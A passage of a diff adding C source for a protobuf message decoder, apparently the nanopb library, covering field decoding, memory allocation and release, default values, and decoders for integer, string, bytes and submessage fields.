PB_LTYPE_BYTES: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_bytes(stream, field); + + case PB_LTYPE_STRING: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_string(stream, field); + + case PB_LTYPE_SUBMESSAGE: + case PB_LTYPE_SUBMSG_W_CB: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_submessage(stream, field); + + case PB_LTYPE_FIXED_LENGTH_BYTES: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_fixed_length_bytes(stream, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +static bool checkreturn decode_static_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ + switch (PB_HTYPE(field->type)) + { + case PB_HTYPE_REQUIRED: + return decode_basic_field(stream, wire_type, field); + + case PB_HTYPE_OPTIONAL: + if (field->pSize != NULL) + *(bool*)field->pSize = true; + return decode_basic_field(stream, wire_type, field); + + case PB_HTYPE_REPEATED: + if (wire_type == PB_WT_STRING + && PB_LTYPE(field->type) <= PB_LTYPE_LAST_PACKABLE) + { + /* Packed array */ + bool status = true; + pb_istream_t substream; + pb_size_t *size = (pb_size_t*)field->pSize; + field->pData = (char*)field->pField + field->data_size * (*size); + + if (!pb_make_string_substream(stream, &substream)) + return false; + + while (substream.bytes_left > 0 && *size < field->array_size) + { + if (!decode_basic_field(&substream, PB_WT_PACKED, field)) + { + status = false; + break; + } + (*size)++; + field->pData = (char*)field->pData + field->data_size; + } + + if (substream.bytes_left != 0) + PB_RETURN_ERROR(stream, "array overflow"); + if (!pb_close_string_substream(stream, &substream)) + return false; + + return status; + } + else + { + /* Repeated field */ + pb_size_t *size = (pb_size_t*)field->pSize; + field->pData = (char*)field->pField + field->data_size * (*size); + + if ((*size)++ >= field->array_size) + PB_RETURN_ERROR(stream, "array overflow"); + + return decode_basic_field(stream, wire_type, field); + } + + case PB_HTYPE_ONEOF: + if (PB_LTYPE_IS_SUBMSG(field->type) && + *(pb_size_t*)field->pSize != field->tag) + { + /* We memset to zero so that any callbacks are set to NULL. + * This is because the callbacks might otherwise have values + * from some other union field. + * If callbacks are needed inside oneof field, use .proto + * option submsg_callback to have a separate callback function + * that can set the fields before submessage is decoded. + * pb_dec_submessage() will set any default values. */ + memset(field->pData, 0, (size_t)field->data_size); + + /* Set default values for the submessage fields. */ + if (field->submsg_desc->default_value != NULL || + field->submsg_desc->field_callback != NULL || + field->submsg_desc->submsg_info[0] != NULL) + { + pb_field_iter_t submsg_iter; + if (pb_field_iter_begin(&submsg_iter, field->submsg_desc, field->pData)) + { + if (!pb_message_set_to_defaults(&submsg_iter)) + PB_RETURN_ERROR(stream, "failed to set defaults"); + } + } + } + *(pb_size_t*)field->pSize = field->tag; + + return decode_basic_field(stream, wire_type, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +#ifdef PB_ENABLE_MALLOC +/* Allocate storage for the field and store the pointer at iter->pData. + * array_size is the number of entries to reserve in an array. + * Zero size is not allowed, use pb_free() for releasing. + */ +static bool checkreturn allocate_field(pb_istream_t *stream, void *pData, size_t data_size, size_t array_size) +{ + void *ptr = *(void**)pData; + + if (data_size == 0 || array_size == 0) + PB_RETURN_ERROR(stream, "invalid size"); + +#ifdef __AVR__ + /* Workaround for AVR libc bug 53284: http://savannah.nongnu.org/bugs/?53284 + * Realloc to size of 1 byte can cause corruption of the malloc structures. + */ + if (data_size == 1 && array_size == 1) + { + data_size = 2; + } +#endif + + /* Check for multiplication overflows. + * This code avoids the costly division if the sizes are small enough. + * Multiplication is safe as long as only half of bits are set + * in either multiplicand. + */ + { + const size_t check_limit = (size_t)1 << (sizeof(size_t) * 4); + if (data_size >= check_limit || array_size >= check_limit) + { + const size_t size_max = (size_t)-1; + if (size_max / array_size < data_size) + { + PB_RETURN_ERROR(stream, "size too large"); + } + } + } + + /* Allocate new or expand previous allocation */ + /* Note: on failure the old pointer will remain in the structure, + * the message must be freed by caller also on error return. */ + ptr = pb_realloc(ptr, array_size * data_size); + if (ptr == NULL) + PB_RETURN_ERROR(stream, "realloc failed"); + + *(void**)pData = ptr; + return true; +} + +/* Clear a newly allocated item in case it contains a pointer, or is a submessage. */ +static void initialize_pointer_field(void *pItem, pb_field_iter_t *field) +{ + if (PB_LTYPE(field->type) == PB_LTYPE_STRING || + PB_LTYPE(field->type) == PB_LTYPE_BYTES) + { + *(void**)pItem = NULL; + } + else if (PB_LTYPE_IS_SUBMSG(field->type)) + { + /* We memset to zero so that any callbacks are set to NULL. + * Default values will be set by pb_dec_submessage(). */ + memset(pItem, 0, field->data_size); + } +} +#endif + +static bool checkreturn decode_pointer_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ +#ifndef PB_ENABLE_MALLOC + PB_UNUSED(wire_type); + PB_UNUSED(field); + PB_RETURN_ERROR(stream, "no malloc support"); +#else + switch (PB_HTYPE(field->type)) + { + case PB_HTYPE_REQUIRED: + case PB_HTYPE_OPTIONAL: + case PB_HTYPE_ONEOF: + if (PB_LTYPE_IS_SUBMSG(field->type) && *(void**)field->pField != NULL) + { + /* Duplicate field, have to release the old allocation first. */ + /* FIXME: Does this work correctly for oneofs? */ + pb_release_single_field(field); + } + + if (PB_HTYPE(field->type) == PB_HTYPE_ONEOF) + { + *(pb_size_t*)field->pSize = field->tag; + } + + if (PB_LTYPE(field->type) == PB_LTYPE_STRING || + PB_LTYPE(field->type) == PB_LTYPE_BYTES) + { + /* pb_dec_string and pb_dec_bytes handle allocation themselves */ + field->pData = field->pField; + return decode_basic_field(stream, wire_type, field); + } + else + { + if (!allocate_field(stream, field->pField, field->data_size, 1)) + return false; + + field->pData = *(void**)field->pField; + initialize_pointer_field(field->pData, field); + return decode_basic_field(stream, wire_type, field); + } + + case PB_HTYPE_REPEATED: + if (wire_type == PB_WT_STRING + && PB_LTYPE(field->type) <= PB_LTYPE_LAST_PACKABLE) + { + /* Packed array, multiple items come in at once. */ + bool status = true; + pb_size_t *size = (pb_size_t*)field->pSize; + size_t allocated_size = *size; + pb_istream_t substream; + + if (!pb_make_string_substream(stream, &substream)) + return false; + + while (substream.bytes_left) + { + if (*size == PB_SIZE_MAX) + { +#ifndef PB_NO_ERRMSG + stream->errmsg = "too many array entries"; +#endif + status = false; + break; + } + + if ((size_t)*size + 1 > allocated_size) + { + /* Allocate more storage. This tries to guess the + * number of remaining entries. Round the division + * upwards. */ + size_t remain = (substream.bytes_left - 1) / field->data_size + 1; + if (remain < PB_SIZE_MAX - allocated_size) + allocated_size += remain; + else + allocated_size += 1; + + if (!allocate_field(&substream, field->pField, field->data_size, allocated_size)) + { + status = false; + break; + } + } + + /* Decode the array entry */ + field->pData = *(char**)field->pField + field->data_size * (*size); + if (field->pData == NULL) + { + /* Shouldn't happen, but satisfies static analyzers */ + status = false; + break; + } + initialize_pointer_field(field->pData, field); + if (!decode_basic_field(&substream, PB_WT_PACKED, field)) + { + status = false; + break; + } + + (*size)++; + } + if (!pb_close_string_substream(stream, &substream)) + return false; + + return status; + } + else + { + /* Normal repeated field, i.e. only one item at a time. */ + pb_size_t *size = (pb_size_t*)field->pSize; + + if (*size == PB_SIZE_MAX) + PB_RETURN_ERROR(stream, "too many array entries"); + + if (!allocate_field(stream, field->pField, field->data_size, (size_t)(*size + 1))) + return false; + + field->pData = *(char**)field->pField + field->data_size * (*size); + (*size)++; + initialize_pointer_field(field->pData, field); + return decode_basic_field(stream, wire_type, field); + } + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +#endif +} + +static bool checkreturn decode_callback_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ + if (!field->descriptor->field_callback) + return pb_skip_field(stream, wire_type); + + if (wire_type == PB_WT_STRING) + { + pb_istream_t substream; + size_t prev_bytes_left; + + if (!pb_make_string_substream(stream, &substream)) + return false; + + do + { + prev_bytes_left = substream.bytes_left; + if (!field->descriptor->field_callback(&substream, NULL, field)) + { + PB_SET_ERROR(stream, substream.errmsg ? substream.errmsg : "callback failed"); + return false; + } + } while (substream.bytes_left > 0 && substream.bytes_left < prev_bytes_left); + + if (!pb_close_string_substream(stream, &substream)) + return false; + + return true; + } + else + { + /* Copy the single scalar value to stack. + * This is required so that we can limit the stream length, + * which in turn allows to use same callback for packed and + * not-packed fields. */ + pb_istream_t substream; + pb_byte_t buffer[10]; + size_t size = sizeof(buffer); + + if (!read_raw_value(stream, wire_type, buffer, &size)) + return false; + substream = pb_istream_from_buffer(buffer, size); + + return field->descriptor->field_callback(&substream, NULL, field); + } +} + +static bool checkreturn decode_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ +#ifdef PB_ENABLE_MALLOC + /* When decoding an oneof field, check if there is old data that must be + * released first. */ + if (PB_HTYPE(field->type) == PB_HTYPE_ONEOF) + { + if (!pb_release_union_field(stream, field)) + return false; + } +#endif + + switch (PB_ATYPE(field->type)) + { + case PB_ATYPE_STATIC: + return decode_static_field(stream, wire_type, field); + + case PB_ATYPE_POINTER: + return decode_pointer_field(stream, wire_type, field); + + case PB_ATYPE_CALLBACK: + return decode_callback_field(stream, wire_type, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +/* Default handler for extension fields. Expects to have a pb_msgdesc_t + * pointer in the extension->type->arg field, pointing to a message with + * only one field in it. */ +static bool checkreturn default_extension_decoder(pb_istream_t *stream, + pb_extension_t *extension, uint32_t tag, pb_wire_type_t wire_type) +{ + pb_field_iter_t iter; + + if (!pb_field_iter_begin_extension(&iter, extension)) + PB_RETURN_ERROR(stream, "invalid extension"); + + if (iter.tag != tag || !iter.message) + return true; + + extension->found = true; + return decode_field(stream, wire_type, &iter); +} + +/* Try to decode an unknown field as an extension field. Tries each extension + * decoder in turn, until one of them handles the field or loop ends. */ +static bool checkreturn decode_extension(pb_istream_t *stream, + uint32_t tag, pb_wire_type_t wire_type, pb_extension_t *extension) +{ + size_t pos = stream->bytes_left; + + while (extension != NULL && pos == stream->bytes_left) + { + bool status; + if (extension->type->decode) + status = extension->type->decode(stream, extension, tag, wire_type); + else + status = default_extension_decoder(stream, extension, tag, wire_type); + + if (!status) + return false; + + extension = extension->next; + } + + return true; +} + +/* Initialize message fields to default values, recursively */ +static bool pb_field_set_to_default(pb_field_iter_t *field) +{ + pb_type_t type; + type = field->type; + + if (PB_LTYPE(type) == PB_LTYPE_EXTENSION) + { + pb_extension_t *ext = *(pb_extension_t* const *)field->pData; + while (ext != NULL) + { + pb_field_iter_t ext_iter; + if (pb_field_iter_begin_extension(&ext_iter, ext)) + { + ext->found = false; + if (!pb_message_set_to_defaults(&ext_iter)) + return false; + } + ext = ext->next; + } + } + else if (PB_ATYPE(type) == PB_ATYPE_STATIC) + { + bool init_data = true; + if (PB_HTYPE(type) == PB_HTYPE_OPTIONAL && field->pSize != NULL) + { + /* Set has_field to false. Still initialize the optional field + * itself also. */ + *(bool*)field->pSize = false; + } + else if (PB_HTYPE(type) == PB_HTYPE_REPEATED || + PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + /* REPEATED: Set array count to 0, no need to initialize contents. + ONEOF: Set which_field to 0. */ + *(pb_size_t*)field->pSize = 0; + init_data = false; + } + + if (init_data) + { + if (PB_LTYPE_IS_SUBMSG(field->type) && + (field->submsg_desc->default_value != NULL || + field->submsg_desc->field_callback != NULL || + field->submsg_desc->submsg_info[0] != NULL)) + { + /* Initialize submessage to defaults. + * Only needed if it has default values + * or callback/submessage fields. */ + pb_field_iter_t submsg_iter; + if (pb_field_iter_begin(&submsg_iter, field->submsg_desc, field->pData)) + { + if (!pb_message_set_to_defaults(&submsg_iter)) + return false; + } + } + else + { + /* Initialize to zeros */ + memset(field->pData, 0, (size_t)field->data_size); + } + } + } + else if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + /* Initialize the pointer to NULL. */ + *(void**)field->pField = NULL; + + /* Initialize array count to 0. */ + if (PB_HTYPE(type) == PB_HTYPE_REPEATED || + PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + *(pb_size_t*)field->pSize = 0; + } + } + else if (PB_ATYPE(type) == PB_ATYPE_CALLBACK) + { + /* Don't overwrite callback */ + } + + return true; +} + +static bool pb_message_set_to_defaults(pb_field_iter_t *iter) +{ + pb_istream_t defstream = PB_ISTREAM_EMPTY; + uint32_t tag = 0; + pb_wire_type_t wire_type = PB_WT_VARINT; + bool eof; + + if (iter->descriptor->default_value) + { + defstream = pb_istream_from_buffer(iter->descriptor->default_value, (size_t)-1); + if (!pb_decode_tag(&defstream, &wire_type, &tag, &eof)) + return false; + } + + do + { + if (!pb_field_set_to_default(iter)) + return false; + + if (tag != 0 && iter->tag == tag) + { + /* We have a default value for this field in the defstream */ + if (!decode_field(&defstream, wire_type, iter)) + return false; + if (!pb_decode_tag(&defstream, &wire_type, &tag, &eof)) + return false; + + if (iter->pSize) + *(bool*)iter->pSize = false; + } + } while (pb_field_iter_next(iter)); + + return true; +} + +/********************* + * Decode all fields * + *********************/ + +static bool checkreturn pb_decode_inner(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct, unsigned int flags) +{ + uint32_t extension_range_start = 0; + pb_extension_t *extensions = NULL; + + /* 'fixed_count_field' and 'fixed_count_size' track position of a repeated fixed + * count field. This can only handle _one_ repeated fixed count field that + * is unpacked and unordered among other (non repeated fixed count) fields. + */ + pb_size_t fixed_count_field = PB_SIZE_MAX; + pb_size_t fixed_count_size = 0; + pb_size_t fixed_count_total_size = 0; + + pb_fields_seen_t fields_seen = {{0, 0}}; + const uint32_t allbits = ~(uint32_t)0; + pb_field_iter_t iter; + + if (pb_field_iter_begin(&iter, fields, dest_struct)) + { + if ((flags & PB_DECODE_NOINIT) == 0) + { + if (!pb_message_set_to_defaults(&iter)) + PB_RETURN_ERROR(stream, "failed to set defaults"); + } + } + + while (stream->bytes_left) + { + uint32_t tag; + pb_wire_type_t wire_type; + bool eof; + + if (!pb_decode_tag(stream, &wire_type, &tag, &eof)) + { + if (eof) + break; + else + return false; + } + + if (tag == 0) + { + if (flags & PB_DECODE_NULLTERMINATED) + { + break; + } + else + { + PB_RETURN_ERROR(stream, "zero tag"); + } + } + + if (!pb_field_iter_find(&iter, tag) || PB_LTYPE(iter.type) == PB_LTYPE_EXTENSION) + { + /* No match found, check if it matches an extension. */ + if (extension_range_start == 0) + { + if (pb_field_iter_find_extension(&iter)) + { + extensions = *(pb_extension_t* const *)iter.pData; + extension_range_start = iter.tag; + } + + if (!extensions) + { + extension_range_start = (uint32_t)-1; + } + } + + if (tag >= extension_range_start) + { + size_t pos = stream->bytes_left; + + if (!decode_extension(stream, tag, wire_type, extensions)) + return false; + + if (pos != stream->bytes_left) + { + /* The field was handled */ + continue; + } + } + + /* No match found, skip data */ + if (!pb_skip_field(stream, wire_type)) + return false; + continue; + } + + /* If a repeated fixed count field was found, get size from + * 'fixed_count_field' as there is no counter contained in the struct. + */ + if (PB_HTYPE(iter.type) == PB_HTYPE_REPEATED && iter.pSize == &iter.array_size) + { + if (fixed_count_field != iter.index) { + /* If the new fixed count field does not match the previous one, + * check that the previous one is NULL or that it finished + * receiving all the expected data. + */ + if (fixed_count_field != PB_SIZE_MAX && + fixed_count_size != fixed_count_total_size) + { + PB_RETURN_ERROR(stream, "wrong size for fixed count field"); + } + + fixed_count_field = iter.index; + fixed_count_size = 0; + fixed_count_total_size = iter.array_size; + } + + iter.pSize = &fixed_count_size; + } + + if (PB_HTYPE(iter.type) == PB_HTYPE_REQUIRED + && iter.required_field_index < PB_MAX_REQUIRED_FIELDS) + { + uint32_t tmp = ((uint32_t)1 << (iter.required_field_index & 31)); + fields_seen.bitfield[iter.required_field_index >> 5] |= tmp; + } + + if (!decode_field(stream, wire_type, &iter)) + return false; + } + + /* Check that all elements of the last decoded fixed count field were present. */ + if (fixed_count_field != PB_SIZE_MAX && + fixed_count_size != fixed_count_total_size) + { + PB_RETURN_ERROR(stream, "wrong size for fixed count field"); + } + + /* Check that all required fields were present. */ + { + pb_size_t req_field_count = iter.descriptor->required_field_count; + + if (req_field_count > 0) + { + pb_size_t i; + + if (req_field_count > PB_MAX_REQUIRED_FIELDS) + req_field_count = PB_MAX_REQUIRED_FIELDS; + + /* Check the whole words */ + for (i = 0; i < (req_field_count >> 5); i++) + { + if (fields_seen.bitfield[i] != allbits) + PB_RETURN_ERROR(stream, "missing required field"); + } + + /* Check the remaining bits (if any) */ + if ((req_field_count & 31) != 0) + { + if (fields_seen.bitfield[req_field_count >> 5] != + (allbits >> (uint_least8_t)(32 - (req_field_count & 31)))) + { + PB_RETURN_ERROR(stream, "missing required field"); + } + } + } + } + + return true; +} + +bool checkreturn pb_decode_ex(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct, unsigned int flags) +{ + bool status; + + if ((flags & PB_DECODE_DELIMITED) == 0) + { + status = pb_decode_inner(stream, fields, dest_struct, flags); + } + else + { + pb_istream_t substream; + if (!pb_make_string_substream(stream, &substream)) + return false; + + status = pb_decode_inner(&substream, fields, dest_struct, flags); + + if (!pb_close_string_substream(stream, &substream)) + status = false; + } + +#ifdef PB_ENABLE_MALLOC + if (!status) + pb_release(fields, dest_struct); +#endif + + return status; +} + +bool checkreturn pb_decode(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct) +{ + bool status; + + status = pb_decode_inner(stream, fields, dest_struct, 0); + +#ifdef PB_ENABLE_MALLOC + if (!status) + pb_release(fields, dest_struct); +#endif + + return status; +} + +#ifdef PB_ENABLE_MALLOC +/* Given an oneof field, if there has already been a field inside this oneof, + * release it before overwriting with a different one. */ +static bool pb_release_union_field(pb_istream_t *stream, pb_field_iter_t *field) +{ + pb_field_iter_t old_field = *field; + pb_size_t old_tag = *(pb_size_t*)field->pSize; /* Previous which_ value */ + pb_size_t new_tag = field->tag; /* New which_ value */ + + if (old_tag == 0) + return true; /* Ok, no old data in union */ + + if (old_tag == new_tag) + return true; /* Ok, old data is of same type => merge */ + + /* Release old data. The find can fail if the message struct contains + * invalid data. */ + if (!pb_field_iter_find(&old_field, old_tag)) + PB_RETURN_ERROR(stream, "invalid union tag"); + + pb_release_single_field(&old_field); + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { + /* Initialize the pointer to NULL to make sure it is valid + * even in case of error return. */ + *(void**)field->pField = NULL; + field->pData = NULL; + } + + return true; +} + +static void pb_release_single_field(pb_field_iter_t *field) +{ + pb_type_t type; + type = field->type; + + if (PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + if (*(pb_size_t*)field->pSize != field->tag) + return; /* This is not the current field in the union */ + } + + /* Release anything contained inside an extension or submsg. + * This has to be done even if the submsg itself is statically + * allocated. */ + if (PB_LTYPE(type) == PB_LTYPE_EXTENSION) + { + /* Release fields from all extensions in the linked list */ + pb_extension_t *ext = *(pb_extension_t**)field->pData; + while (ext != NULL) + { + pb_field_iter_t ext_iter; + if (pb_field_iter_begin_extension(&ext_iter, ext)) + { + pb_release_single_field(&ext_iter); + } + ext = ext->next; + } + } + else if (PB_LTYPE_IS_SUBMSG(type) && PB_ATYPE(type) != PB_ATYPE_CALLBACK) + { + /* Release fields in submessage or submsg array */ + pb_size_t count = 1; + + if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + field->pData = *(void**)field->pField; + } + else + { + field->pData = field->pField; + } + + if (PB_HTYPE(type) == PB_HTYPE_REPEATED) + { + count = *(pb_size_t*)field->pSize; + + if (PB_ATYPE(type) == PB_ATYPE_STATIC && count > field->array_size) + { + /* Protect against corrupted _count fields */ + count = field->array_size; + } + } + + if (field->pData) + { + for (; count > 0; count--) + { + pb_release(field->submsg_desc, field->pData); + field->pData = (char*)field->pData + field->data_size; + } + } + } + + if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + if (PB_HTYPE(type) == PB_HTYPE_REPEATED && + (PB_LTYPE(type) == PB_LTYPE_STRING || + PB_LTYPE(type) == PB_LTYPE_BYTES)) + { + /* Release entries in repeated string or bytes array */ + void **pItem = *(void***)field->pField; + pb_size_t count = *(pb_size_t*)field->pSize; + for (; count > 0; count--) + { + pb_free(*pItem); + *pItem++ = NULL; + } + } + + if (PB_HTYPE(type) == PB_HTYPE_REPEATED) + { + /* We are going to release the array, so set the size to 0 */ + *(pb_size_t*)field->pSize = 0; + } + + /* Release main pointer */ + pb_free(*(void**)field->pField); + *(void**)field->pField = NULL; + } +} + +void pb_release(const pb_msgdesc_t *fields, void *dest_struct) +{ + pb_field_iter_t iter; + + if (!dest_struct) + return; /* Ignore NULL pointers, similar to free() */ + + if (!pb_field_iter_begin(&iter, fields, dest_struct)) + return; /* Empty message type */ + + do + { + pb_release_single_field(&iter); + } while (pb_field_iter_next(&iter)); +} +#else +void pb_release(const pb_msgdesc_t *fields, void *dest_struct) +{ + /* Nothing to release without PB_ENABLE_MALLOC. */ + PB_UNUSED(fields); + PB_UNUSED(dest_struct); +} +#endif + +/* Field decoders */ + +bool pb_decode_bool(pb_istream_t *stream, bool *dest) +{ + uint32_t value; + if (!pb_decode_varint32(stream, &value)) + return false; + + *(bool*)dest = (value != 0); + return true; +} + +bool pb_decode_svarint(pb_istream_t *stream, pb_int64_t *dest) +{ + pb_uint64_t value; + if (!pb_decode_varint(stream, &value)) + return false; + + if (value & 1) + *dest = (pb_int64_t)(~(value >> 1)); + else + *dest = (pb_int64_t)(value >> 1); + + return true; +} + +bool pb_decode_fixed32(pb_istream_t *stream, void *dest) +{ + union { + uint32_t fixed32; + pb_byte_t bytes[4]; + } u; + + if (!pb_read(stream, u.bytes, 4)) + return false; + +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* fast path - if we know that we're on little endian, assign directly */ + *(uint32_t*)dest = u.fixed32; +#else + *(uint32_t*)dest = ((uint32_t)u.bytes[0] << 0) | + ((uint32_t)u.bytes[1] << 8) | + ((uint32_t)u.bytes[2] << 16) | + ((uint32_t)u.bytes[3] << 24); +#endif + return true; +} + +#ifndef PB_WITHOUT_64BIT +bool pb_decode_fixed64(pb_istream_t *stream, void *dest) +{ + union { + uint64_t fixed64; + pb_byte_t bytes[8]; + } u; + + if (!pb_read(stream, u.bytes, 8)) + return false; + +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* fast path - if we know that we're on little endian, assign directly */ + *(uint64_t*)dest = u.fixed64; +#else + *(uint64_t*)dest = ((uint64_t)u.bytes[0] << 0) | + ((uint64_t)u.bytes[1] << 8) | + ((uint64_t)u.bytes[2] << 16) | + ((uint64_t)u.bytes[3] << 24) | + ((uint64_t)u.bytes[4] << 32) | + ((uint64_t)u.bytes[5] << 40) | + ((uint64_t)u.bytes[6] << 48) | + ((uint64_t)u.bytes[7] << 56); +#endif + return true; +} +#endif + +static bool checkreturn pb_dec_bool(pb_istream_t *stream, const pb_field_iter_t *field) +{ + return pb_decode_bool(stream, (bool*)field->pData); +} + +static bool checkreturn pb_dec_varint(pb_istream_t *stream, const pb_field_iter_t *field) +{ + if (PB_LTYPE(field->type) == PB_LTYPE_UVARINT) + { + pb_uint64_t value, clamped; + if (!pb_decode_varint(stream, &value)) + return false; + + /* Cast to the proper field size, while checking for overflows */ + if (field->data_size == sizeof(pb_uint64_t)) + clamped = *(pb_uint64_t*)field->pData = value; + else if (field->data_size == sizeof(uint32_t)) + clamped = *(uint32_t*)field->pData = (uint32_t)value; + else if (field->data_size == sizeof(uint_least16_t)) + clamped = *(uint_least16_t*)field->pData = (uint_least16_t)value; + else if (field->data_size == sizeof(uint_least8_t)) + clamped = *(uint_least8_t*)field->pData = (uint_least8_t)value; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + if (clamped != value) + PB_RETURN_ERROR(stream, "integer too large"); + + return true; + } + else + { + pb_uint64_t value; + pb_int64_t svalue; + pb_int64_t clamped; + + if (PB_LTYPE(field->type) == PB_LTYPE_SVARINT) + { + if (!pb_decode_svarint(stream, &svalue)) + return false; + } + else + { + if (!pb_decode_varint(stream, &value)) + return false; + + /* See issue 97: Google's C++ protobuf allows negative varint values to + * be cast as int32_t, instead of the int64_t that should be used when + * encoding. Nanopb versions before 0.2.5 had a bug in encoding. In order to + * not break decoding of such messages, we cast <=32 bit fields to + * int32_t first to get the sign correct. + */ + if (field->data_size == sizeof(pb_int64_t)) + svalue = (pb_int64_t)value; + else + svalue = (int32_t)value; + } + + /* Cast to the proper field size, while checking for overflows */ + if (field->data_size == sizeof(pb_int64_t)) + clamped = *(pb_int64_t*)field->pData = svalue; + else if (field->data_size == sizeof(int32_t)) + clamped = *(int32_t*)field->pData = (int32_t)svalue; + else if (field->data_size == sizeof(int_least16_t)) + clamped = *(int_least16_t*)field->pData = (int_least16_t)svalue; + else if (field->data_size == sizeof(int_least8_t)) + clamped = *(int_least8_t*)field->pData = (int_least8_t)svalue; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + if (clamped != svalue) + PB_RETURN_ERROR(stream, "integer too large"); + + return true; + } +} + +static bool checkreturn pb_dec_bytes(pb_istream_t *stream, const pb_field_iter_t *field) +{ + uint32_t size; + size_t alloc_size; + pb_bytes_array_t *dest; + + if (!pb_decode_varint32(stream, &size)) + return false; + + if (size > PB_SIZE_MAX) + PB_RETURN_ERROR(stream, "bytes overflow"); + + alloc_size = PB_BYTES_ARRAY_T_ALLOCSIZE(size); + if (size > alloc_size) + PB_RETURN_ERROR(stream, "size too large"); + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { +#ifndef PB_ENABLE_MALLOC + PB_RETURN_ERROR(stream, "no malloc support"); +#else + if (stream->bytes_left < size) + PB_RETURN_ERROR(stream, "end-of-stream"); + + if (!allocate_field(stream, field->pData, alloc_size, 1)) + return false; + dest = *(pb_bytes_array_t**)field->pData; +#endif + } + else + { + if (alloc_size > field->data_size) + PB_RETURN_ERROR(stream, "bytes overflow"); + dest = (pb_bytes_array_t*)field->pData; + } + + dest->size = (pb_size_t)size; + return pb_read(stream, dest->bytes, (size_t)size); +} + +static bool checkreturn pb_dec_string(pb_istream_t *stream, const pb_field_iter_t *field) +{ + uint32_t size; + size_t alloc_size; + pb_byte_t *dest = (pb_byte_t*)field->pData; + + if (!pb_decode_varint32(stream, &size)) + return false; + + if (size == (uint32_t)-1) + PB_RETURN_ERROR(stream, "size too large"); + + /* Space for null terminator */ + alloc_size = (size_t)(size + 1); + + if (alloc_size < size) + PB_RETURN_ERROR(stream, "size too large"); + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { +#ifndef PB_ENABLE_MALLOC + PB_RETURN_ERROR(stream, "no malloc support"); +#else + if (stream->bytes_left < size) + PB_RETURN_ERROR(stream, "end-of-stream"); + + if (!allocate_field(stream, field->pData, alloc_size, 1)) + return false; + dest = *(pb_byte_t**)field->pData; +#endif + } + else + { + if (alloc_size > field->data_size) + PB_RETURN_ERROR(stream, "string overflow"); + } + + dest[size] = 0; + + if (!pb_read(stream, dest, (size_t)size)) + return false; + +#ifdef PB_VALIDATE_UTF8 + if (!pb_validate_utf8((const char*)dest)) + PB_RETURN_ERROR(stream, "invalid utf8"); +#endif + + return true; +} + +static bool checkreturn pb_dec_submessage(pb_istream_t *stream, const pb_field_iter_t *field) +{ + bool status = true; + bool submsg_consumed = false; + pb_istream_t substream; + + if (!pb_make_string_substream(stream, &substream)) + return false; + + if (field->submsg_desc == NULL) + PB_RETURN_ERROR(stream, "invalid field descriptor"); + + /* Submessages can have a separate message-level callback that is called + * before decoding the message. Typically it is used to set callback fields + * inside oneofs. */ + if (PB_LTYPE(field->type) == PB_LTYPE_SUBMSG_W_CB && field->pSize != NULL) + { + /* Message callback is stored right before pSize. */ + pb_callback_t *callback = (pb_callback_t*)field->pSize - 1; + if (callback->funcs.decode) + { + status = callback->funcs.decode(&substream, field, &callback->arg); + + if (substream.bytes_left == 0) + { + submsg_consumed = true; + } + } + } + + /* Now decode the submessage contents */ + if (status && !submsg_consumed) + { + unsigned int flags = 0; + + /* Static required/optional fields are already initialized by top-level + * pb_decode(), no need to initialize them again. */ + if (PB_ATYPE(field->type) == PB_ATYPE_STATIC && + PB_HTYPE(field->type) != PB_HTYPE_REPEATED) + { + flags = PB_DECODE_NOINIT; + } + + status = pb_decode_inner(&substream, field->submsg_desc, field->pData, flags); + } + + if (!pb_close_string_substream(stream, &substream)) + return false; + + return status; +} + +static bool checkreturn pb_dec_fixed_length_bytes(pb_istream_t *stream, const pb_field_iter_t *field) +{ + uint32_t size; + + if (!pb_decode_varint32(stream, &size)) + return false; + + if (size > PB_SIZE_MAX) + PB_RETURN_ERROR(stream, "bytes overflow"); + + if (size == 0) + { + /* As a special case, treat empty bytes string as all zeros for fixed_length_bytes. */ + memset(field->pData, 0, (size_t)field->data_size); + return true; + } + + if (size != field->data_size) + PB_RETURN_ERROR(stream, "incorrect fixed length bytes size"); + + return pb_read(stream, (pb_byte_t*)field->pData, (size_t)field->data_size); +} + +#ifdef PB_CONVERT_DOUBLE_FLOAT +bool pb_decode_double_as_float(pb_istream_t *stream, float *dest) +{ + uint_least8_t sign; + int exponent; + uint32_t mantissa; + uint64_t value; + union { float f; uint32_t i; } out; + + if (!pb_decode_fixed64(stream, &value)) + return false; + + /* Decompose input value */ + sign = (uint_least8_t)((value >> 63) & 1); + exponent = (int)((value >> 52) & 0x7FF) - 1023; + mantissa = (value >> 28) & 0xFFFFFF; /* Highest 24 bits */ + + /* Figure if value is in range representable by floats. */ + if (exponent == 1024) + { + /* Special value */ + exponent = 128; 